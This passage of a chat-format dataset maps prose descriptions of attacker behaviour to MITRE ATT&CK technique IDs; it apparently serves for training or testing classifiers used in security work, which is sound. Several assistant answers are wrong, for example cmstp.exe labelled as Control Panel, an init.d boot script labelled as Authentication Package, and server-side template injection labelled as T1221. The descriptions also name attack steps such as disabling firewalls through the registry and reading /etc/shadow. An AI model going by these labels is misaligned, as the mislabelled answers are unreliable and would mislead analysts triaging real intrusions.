                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email targets the city's transportation department staff, leading to credential theft and unauthorized changes to the traffic signal timing plans."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro runs a script that repeatedly forks processes, exhausting CPU resources and denying legitimate users access to the system."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary performs passive reconnaissance by searching public code repositories for hard‑coded API keys linked to the victim."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries the AWS IAM ListGroups API to enumerate cloud groups and discover privileged permissions."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary swaps the default password filter with a malicious version to intercept password changes."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the threat actor synced stolen data to iCloud Drive for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set pushes stolen documents to a cryptic paste site using URL-encoded parameters within an HTTP GET request."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker removed entries from /var/log/auth.log on a compromised Linux server to erase evidence of their login."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker monitors network sockets via the 'lsof -i' command to capture active connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script registers a scheduled task which triggers a data exfiltration script to send database dumps to a remote API every day at midnight."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query the Kubernetes container runtime API to dump secret tokens from the host filesystem."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor performs password spraying against local accounts on multiple Windows workstations to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy to disable the firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the ExecStart directive of an existing sshd.service to launch a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary injects malicious placeholders into a server-side template, causing the rendering engine to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker updates the RoleBinding YAML to bind their user account to the \"admin\" role across multiple namespaces."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script abuses BITS with the /Create command to schedule a file download that runs after system reboot."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a reverse shell that uses NAT traversal to reach an external command server."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a hidden PowerShell profile that registers a scheduled task to persist on the system."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload changes the ownership of a system utility to root and sets the SUID bit, granting root execution to any user."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the Image File Execution Options (IFEO) registry key for a legitimate binary to set a malicious debugger, causing the binary to launch the attacker’s payload instead of the intended program."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploitation of an exposed container management API allows the theft of Docker Hub login credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes performing an SNMPwalk against target servers to capture their configuration repositories."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a vulnerable FTP service to stage and retrieve exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious binary is placed in the /etc/init.d directory on a Unix system and enabled with update-rc.d for boot execution."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script queried the SNMP agent on the target server to extract system MIB variables."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the SetWindowLongPtr API, the malicious actor modifies the window procedure pointer to execute injected code."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate documents by syncing them to a hijacked Dropbox account via the API."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware applies a simple XOR cipher to stolen password hashes and then transmits the encoded payload to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a public-key infrastructure to protect their C2 traffic through an encrypted link."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a custom Word template with an AutoOpen macro that triggers upon opening any document."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a DLL side‑loading attack by naming their library to match a trusted system DLL loaded by an elevated process."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool captures screenshots of the user's desktop every 30 seconds and saves them locally."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group sends deceptive emails pretending to be from a trusted vendor, prompting recipients to click a malicious URL."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages Windows Management Instrumentation (WMI) to launch a remote executable on a target host."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages Google Drive's API to download additional modules and send execution results."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues a command to delete all files in the application’s logs folder to cover tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs process injection into a trusted service (e.g., svchost) to hide malicious activity among legitimate processes."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the Active Directory via LDAP to retrieve a list of domain groups and their members."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates the contents of the internal ‘employees.txt’ file containing all employee names."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a credentialed login to the IDS management console to retrieve sensor logs."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses the command \"cscript //nologo malicious.vbs\" executed by a scheduled task to proxy script execution."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Changes the payload of a software installer in transit, swapping legitimate code with malicious code before execution."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the LNK file’s icon resource to embed a malicious script, bypassing security controls that whitelist standard icons."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker removes the Zone.Identifier alternate data stream from a downloaded PowerShell script, effectively bypassing the Mark‑of‑the‑Web warning and allowing the script to run unchecked."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious hyperlink in a fake survey email directs the victim to a site that exploits a browser plug‑in to execute malicious code on click."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious firmware update is delivered over the network, overwriting the system's component firmware to install a persistent rootkit."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware clears PowerShell command history to conceal its usage after execution."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker updated the auto‑scaling group configuration to increase the maximum number of instances, enabling faster lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware opened a WinRM connection to a target system, using Kerberos authentication to bypass firewall restrictions."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group exfiltrated email logs from the local mail server's mail spool files on a compromised VM."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Brute force technique employed by sending repeated authentication requests to a VPN gateway."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a cloud automation tool to silently create a fresh account with admin rights."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By spoofing the process arguments, the malware makes a network scanning tool appear as \"explorer.exe\" in system logs, obscuring its scanning activity."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a shellcode payload into a running process by overwriting the process's TLS callback array."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dynamic API resolution is performed by hashing the target function name and matching it against the export table of loaded modules."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload uses DirectShow to capture video from the default camera and streams it to a remote host."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtained detailed network diagrams by paying a vendor on a hacker forum."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves copying malicious shellcode into the TLS area of a target process, enabling execution whenever the process spawns a new thread."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set replaces the macOS system kernel extension with a backdoored version to maintain privileged access."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a rootkit, the attacker masks command and control communications to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a Python-based payload, the code imports the time module and calls time.time() to capture the current epoch time on the target."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved the use of a compromised Box.com account to exfiltrate project files."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leveraged the Windows API function DeleteFileW to destroy important configuration files."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By embedding JavaScript in a compiled HTML Help file, the attacker causes the Windows HTML Help Viewer to execute a remote shellcode payload."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used Windows Remote Management (WinRM) to execute PowerShell commands on a remote host, moving laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder modified cloud orchestration templates (e.g., Terraform) to redeploy resources with altered compute specifications."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat researchers identified that the malicious file was obfuscated using a software packing method that unpacks the payload only in memory."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code adds a socket filter that redirects all outbound SMTP traffic to an attacker-controlled mail server."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker encodes a malicious PowerShell script in a base64 data URI within an HTML file, which is then executed when the victim opens the page in a browser, leveraging HTML smuggling to bypass endpoint defenses."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accessed /etc/shadow to obtain hashed credentials and combined them with /etc/passwd entries for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group obtains credential hashes from a domain controller dump and uses them to authenticate to remote desktops."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the registry to point the Control Panel utility cmstp.exe to a crafted malicious DLL, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hostile actor uses a heap‑spray technique against a local process, causing the machine to reboot unexpectedly."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a remote file share to buffer large data sets prior to exfiltration, minimizing network spikes."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
